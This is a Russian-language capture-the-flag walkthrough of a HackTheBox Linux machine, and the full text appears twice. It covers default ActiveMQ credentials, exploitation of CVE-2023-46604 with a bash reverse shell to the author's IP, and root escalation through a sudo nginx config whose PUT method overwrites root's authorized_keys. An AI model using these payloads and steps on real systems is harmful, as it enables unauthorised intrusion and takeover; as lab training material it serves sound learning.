Trager
10.12.2023, 17:34
https://forum.antichat.xyz/attachments/29108898/1702213708786.png
Друзья, всем привет! Сегодня пройдём лёгкую
Linux
-машину с площадки
HackTheBox
. Приятного чтения!
Разведка
Сканируем порты, используем флаг
-sC
, чтобы использовать стандартные скрипты,
-sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV -oN nmap.out
10.10
.11.243
Bash:
PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_ basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel
Имеется два открытых
TCP
-порта:
22
и
80
. Перейдём на
80
-ый порт:
https://forum.antichat.xyz/attachments/29108898/1702213830444.png
Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
401 Unauthorized
. Из сканирования
nmap’а
можно понять, что используется
Apache ActiveMQ
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:
https://forum.antichat.xyz/attachments/29108898/1702213848862.png
Указываем
admin:admin
и попадаем в панель:
https://forum.antichat.xyz/attachments/29108898/1702213861017.png
Перейдя в
/admin/
, мы можем узнать версию сервиса
Apache ActiveMQ
:
https://forum.antichat.xyz/attachments/29108898/1702213872467.png
Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:
https://forum.antichat.xyz/attachments/29108898/1702213898828.png
Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
www-data
):
https://forum.antichat.xyz/attachments/29108898/1702213915985.png
Важно отметить, что для его работы Вам требуется установленный компилятор
Go
. Также можете воспользоваться эксплойтом на python. В
GitHub
-проекте есть несколько файлов:
main.go
- сама программа, а
poc.xml
-
XML
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:
https://forum.antichat.xyz/attachments/29108898/1702213930973.png
Поэтому нам нужно его изменить на:
XML:
bash
-c
bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1
*
10.10.16.108
- мой
IP
-адрес,
9898
- мой порт на листенере
nc
.
Теперь нам понадобятся три сессии терминала:
В первой
(1)
мы поднимем веб-сервер
python
на
8000
порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к
poc.xml
, который располагается у нас на хосте.
Во второй
(2)
поднимаем листенер на
9898
, чтобы получить реверс шелл.
В третьей
(3)
запускаем сам эскплоит через
go
с указанием уязвимого сервера (опция
-i
) и ссылки на на
poc.xml
.
https://forum.antichat.xyz/attachments/29108898/1702213983627.png
Запускаем всё и получаем сессию от имени пользователя
www-data
:
https://forum.antichat.xyz/attachments/29108898/1702214003499.png
На данном этапе Вы уже можете прочитать
user.txt
.
Взятие пользователя
После того, как мы получили первичный доступ, используем стандартную команду
sudo -l
, чтобы узнать какие команды от лица
www-data
мы можем запускать без пароля с правами суперпользователя:
https://forum.antichat.xyz/attachments/29108898/1702214049237.png
Исходя из вывода, мы можем таким образом запустить веб-сервер
nginx
. Самый простой вариант - сделать
nginx.conf
и запустить
nginx
на каком-нибудь порту, например,
9899
, затем просто прочитать файл
root.txt
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя
root
. Немного покопавшись в гугле, можно найти следующую статью:
https://forum.antichat.xyz/attachments/29108898/1702214060944.png
В ней есть примеры
nginx.conf’а
, которые помогут нам сделать эксплоит:
https://forum.antichat.xyz/attachments/29108898/1702214070769.png
1. Создаём
nginx.conf
со следующим содержимым (порт Вы можете изменить):
user root; - устанавливает пользователя, от имени которого будет работать процесс
nginx
. В данном случае, установлен пользователь
root
, что означает, что
nginx
будет работать с правами суперпользователя.
events { worker_connections 500; } - задает параметры для обработки событий воркерами
nginx
. В данном случае, установлено значение
worker_connections
равным
500
, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
http { ... } - объявляет блок конфигурации для настроек
HTTP
-сервера.
server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
http
.
listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
9899
.
root /; - устанавливает корневую директорию (
/
) для этого виртуального сервера.
dav_methods PUT; - включает поддержку метода
HTTP PUT
для данного сервера. Метод
PUT
позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер
python
на
8000
порту.
3. Загрузим в
/tmp
созданный нами файл
nginx.conf
с помощью веб-сервера
python
.
4. Запустим
nginx
с правами суперпользователя, используя опцию
-c
, чтобы указать путь к конфигурационному файлу.
5. Используем
curl
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.
План действий таков: перезапишем
authorized_keys
в каталоге
/root/.ssh/
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от
root
), чтобы подключиться по
SSH
от лица пользователя
root
без пароля.
Для начала сгенерируем
SSH
-ключи на нашей машине с помощью
ssh-keygen
:
https://forum.antichat.xyz/attachments/29108898/1702214141534.png
Прочитаем и скопируем публичный ключ
id_rsa.pub
:
https://forum.antichat.xyz/attachments/29108898/1702214154151.png
И сделаем следующий
PUT
-запрос с помощью
curl
:
Bash:
curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zv XRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+K affPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzE fFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6 jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3Wz OoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZ ZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigb jCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyf N58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cT shF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"
https://forum.antichat.xyz/attachments/29108898/1702214178778.png
После отправки запроса пробуем подключиться к
10.10.11.243
от лица
root
:
https://forum.antichat.xyz/attachments/29108898/1702214194131.png
Успех! Получаем
root
-флаг.
Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D
Друзья, всем привет! Сегодня пройдём лёгкую
Linux
-машину с площадки
HackTheBox
. Приятного чтения!
Разведка
Сканируем порты, используем флаг
-sC
, чтобы использовать стандартные скрипты,
-sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV -oN nmap.out
10.10
.11.243
Bash:
PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_ basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel
Имеется два открытых
TCP
-порта:
22
и
80
. Перейдём на
80
-ый порт:
https://forum.antichat.xyz/attachments/29108898/1702213830444.png
Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
401 Unauthorized
. Из сканирования
nmap’а
можно понять, что используется
Apache ActiveMQ
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:
https://forum.antichat.xyz/attachments/29108898/1702213848862.png
Указываем
admin:admin
и попадаем в панель:
https://forum.antichat.xyz/attachments/29108898/1702213861017.png
Перейдя в
/admin/
, мы можем узнать версию сервиса
Apache ActiveMQ
:
https://forum.antichat.xyz/attachments/29108898/1702213872467.png
Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:
https://forum.antichat.xyz/attachments/29108898/1702213898828.png
Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
www-data
):
https://forum.antichat.xyz/attachments/29108898/1702213915985.png
Важно отметить, что для его работы Вам требуется установленный компилятор
Go
. Также можете воспользоваться эксплойтом на python. В
GitHub
-проекте есть несколько файлов:
main.go
- сама программа, а
poc.xml
-
XML
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:
https://forum.antichat.xyz/attachments/29108898/1702213930973.png
Поэтому нам нужно его изменить на:
XML:
bash
-c
bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1
*
10.10.16.108
- мой
IP
-адрес,
9898
- мой порт на листенере
nc
.
Теперь нам понадобятся три сессии терминала:
В первой
(1)
мы поднимем веб-сервер
python
на
8000
порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к
poc.xml
, который располагается у нас на хосте.
Во второй
(2)
поднимаем листенер на
9898
, чтобы получить реверс шелл.
В третьей
(3)
запускаем сам эскплоит через
go
с указанием уязвимого сервера (опция
-i
) и ссылки на на
poc.xml
.
https://forum.antichat.xyz/attachments/29108898/1702213983627.png
Запускаем всё и получаем сессию от имени пользователя
www-data
:
https://forum.antichat.xyz/attachments/29108898/1702214003499.png
На данном этапе Вы уже можете прочитать
user.txt
.
Взятие пользователя
После того, как мы получили первичный доступ, используем стандартную команду
sudo -l
, чтобы узнать какие команды от лица
www-data
мы можем запускать без пароля с правами суперпользователя:
https://forum.antichat.xyz/attachments/29108898/1702214049237.png
Исходя из вывода, мы можем таким образом запустить веб-сервер
nginx
. Самый простой вариант - сделать
nginx.conf
и запустить
nginx
на каком-нибудь порту, например,
9899
, затем просто прочитать файл
root.txt
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя
root
. Немного покопавшись в гугле, можно найти следующую статью:
https://forum.antichat.xyz/attachments/29108898/1702214060944.png
В ней есть примеры
nginx.conf’а
, которые помогут нам сделать эксплоит:
https://forum.antichat.xyz/attachments/29108898/1702214070769.png
1. Создаём
nginx.conf
со следующим содержимым (порт Вы можете изменить):
user root; - устанавливает пользователя, от имени которого будет работать процесс
nginx
. В данном случае, установлен пользователь
root
, что означает, что
nginx
будет работать с правами суперпользователя.
events { worker_connections 500; } - задает параметры для обработки событий воркерами
nginx
. В данном случае, установлено значение
worker_connections
равным
500
, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
http { ... } - объявляет блок конфигурации для настроек
HTTP
-сервера.
server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
http
.
listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
9899
.
root /; - устанавливает корневую директорию (
/
) для этого виртуального сервера.
dav_methods PUT; - включает поддержку метода
HTTP PUT
для данного сервера. Метод
PUT
позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер
python
на
8000
порту.
3. Загрузим в
/tmp
созданный нами файл
nginx.conf
с помощью веб-сервера
python
.
4. Запустим
nginx
с правами суперпользователя, используя опцию
-c
, чтобы указать путь к конфигурационному файлу.
5. Используем
curl
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.
План действий таков: перезапишем
authorized_keys
в каталоге
/root/.ssh/
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от
root
), чтобы подключиться по
SSH
от лица пользователя
root
без пароля.
Для начала сгенерируем
SSH
-ключи на нашей машине с помощью
ssh-keygen
:
https://forum.antichat.xyz/attachments/29108898/1702214141534.png
Прочитаем и скопируем публичный ключ
id_rsa.pub
:
https://forum.antichat.xyz/attachments/29108898/1702214154151.png
И сделаем следующий
PUT
-запрос с помощью
curl
:
Bash:
curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zv XRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+K affPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzE fFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6 jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3Wz OoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZ ZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigb jCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyf N58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cT shF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"
https://forum.antichat.xyz/attachments/29108898/1702214178778.png
После отправки запроса пробуем подключиться к
10.10.11.243
от лица
root
:
https://forum.antichat.xyz/attachments/29108898/1702214194131.png
Успех! Получаем
root
-флаг.
Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D